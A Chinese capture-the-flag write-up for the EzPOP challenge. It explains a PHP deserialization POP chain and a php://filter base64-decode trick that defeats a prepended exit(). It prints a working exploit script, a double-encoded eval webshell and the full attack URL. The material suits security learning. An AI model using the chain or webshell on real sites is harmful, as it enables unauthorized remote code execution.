本文最后更新于:2023年8月25日 下午
[TOC]
php://filter绕过死亡exit
前言
最近写了一道反序列化的题,其中有一个需要通过php://filter
去绕过死亡exit()
的小trick,这里通过一道题目来讲解
[EIS 2019]EzPOP
题目源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| <?php error_reporting(0);
class A {
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null) { $this->key = $key; $this->store = $store; $this->expire = $expire; }
public function cleanContents(array $contents) { $cachedProperties = array_flip([ 'path', 'dirname', 'basename', 'extension', 'filename', 'size', 'mimetype', 'visibility', 'timestamp', 'type', ]);
foreach ($contents as $path => $object) { if (is_array($object)) { $contents[$path] = array_intersect_key($object, $cachedProperties); } }
return $contents; }
public function getForStorage() { $cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]); }
public function save() { $contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire); }
public function __destruct() { if (!$this->autosave) { $this->save(); } } }
class B {
protected function getExpireTime($expire): int { return (int) $expire; }
public function getCacheKey(string $name): string { return $this->options['prefix'] . $name; }
protected function serialize($data): string { if (is_numeric($data)) { return (string) $data; }
$serialize = $this->options['serialize'];
return $serialize($data); }
public function set($name, $value, $expire = null): bool{ $this->writeTimes++;
if (is_null($expire)) { $expire = $this->options['expire']; }
$expire = $this->getExpireTime($expire); $filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) { try { mkdir($dir, 0755, true); } catch (\Exception $e) { } }
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) { $data = gzcompress($data, 3); }
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
if ($result) { return true; }
return false; }
}
if (isset($_GET['src'])) { highlight_file(__FILE__); }
$dir = "uploads/";
if (!is_dir($dir)) { mkdir($dir); } unserialize($_GET["data"]);
|
刚开始看到这题很懵逼,我们这里反过来讲,首先容易看出,这段代码应该是需要我们写一个shell
进去
1 2
| $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data; $result = file_put_contents($filename, $data);
|
我们溯源一下filename和data的值是从哪里传过来的:
1 2
| $filename = $this->getCacheKey($name) $data = $this->serialize($value)
|
可以看到,这两个值是从函数:public function set($name, $value, $expire = null): bool
的形参中传过来的,如何调用set()
方法呢?我们需要注意到:A::__destruct()
1
| A::__destruct() -> save() -> set()
|
set()会被A的变量store
调用,所以store
就需要传递一个B类的对象。而A调用set()传递了三个参数:
set($this->key, $contents, $this->expire)
,其中key
在构造方法中赋值,$contents
在哪来呢?
1
| $contents = $this->getForStorage() -> $this->cleanContents($this->cache)
|
$this->cache
变量传入cleanContents()
返回,最终通过json串形式返回给$contents
其实getForStorage()
和cleanContents()
没什么用,这里不用管,$expire
也没什么用
经过分析,我们知道在A类中,$key
传入的是写入文件的名字,$cache
可以最终传给$contents
,然后当作文件内容写入,$store
存储B类对象,$complete、$expire
为空值即可
这样我们能够确定B类set()
中file_put_contents()
的两个变量了,但是怎么绕过exit()
?不绕过写了shell也没用
这里通过 p神文章 学习了通过php://filter
绕过
我们可以使用该php://filter的base64-decode
、rot13
、strip_tags
等过滤器来绕过,这里我们使用base64-decode:
绕过exit
如果我们在写入文件的前面有exit()
,例如:
1 2 3 4
| <?php $filename=$_POST['filename']; $content=$_POST['content']; file_put_contents($filename,'<?php exit();?>'.$content);
|
我们这里$filename $content
都是可以控制的,于是我们可以使用php://filter/write=convert.base64-decode/
当我们的$filename
为:php://filter/write=convert.base64-decode/resource=shell.php
PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg== 是<?php @eval($_POST[1]);?>
的base64编码
并且$content
: xPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
那么就可以进行绕过,shell.php:
1
| �^�+q<?php @eval($_POST[1]);?>
|
这是什么原理呢,当我们文件名是php://filter
伪协议,并且进行base64解码时,就会将写入文件内容的数据进行一次base64解码,于是原来的<?php exit();?>
经过解码后就失效了,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
经过解码就形成了一句话木马。
为什么这里$content
前要加一个字母x?因为base64解码是4个一组,<?php exit();?>
为15个字符,加上一个刚好凑够16个,不干扰后面的base64解码
知道绕过exit就简单了,我们可以将一句话木马base64编码两遍,传给A::cache
变量,然后设置一下B中的options
数组:
1
| $this->options = array('serialize'=>'base64_decode','expire'=>'123');
|
这样B中的data就是,经过了一个base64解码后的值了
1
| $data = $this->serialize($value);
|
然后在php://filter
是base64解码两次,写入了shell.php
中
我们编写exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| <?php
class A {
protected $store;
protected $key;
protected $expire;
public $complete;
public $cache;
public function __construct() { $this->store = new B(); $this->key = "php://filter/write=convert.base64-decode/resource=shell.php"; $this->expire = null; $this->complete = ""; $this->cache = array("YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09"); }
}
class B { public $options;
public function __construct() { $this->options = array('serialize'=>'base64_decode','expire'=>'123'); }
}
$a = new A(); echo urlencode(serialize($a));
|
这里有个点需要注意一下:
在一句话木马一次base64后需要在前面加3个a,让其4个一组
写入:
1
| http://fceb4489-ee1c-434e-a4c4-a760e4026c92.node4.buuoj.cn:81/index.php?src=1&data=O%3A1%3A%22A%22%3A5%3A%7Bs%3A8%3A%22%00%2A%00store%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A7%3A%22options%22%3Ba%3A2%3A%7Bs%3A9%3A%22serialize%22%3Bs%3A13%3A%22base64_decode%22%3Bs%3A6%3A%22expire%22%3Bs%3A3%3A%22123%22%3B%7D%7Ds%3A6%3A%22%00%2A%00key%22%3Bs%3A59%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A9%3A%22%00%2A%00expire%22%3BN%3Bs%3A8%3A%22complete%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22cache%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A52%3A%22YWFhUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3pGZEtUcy9QZz09%22%3B%7D%7D
|
参考
谈一谈php://filter的妙用
[EIS 2019]EzPOP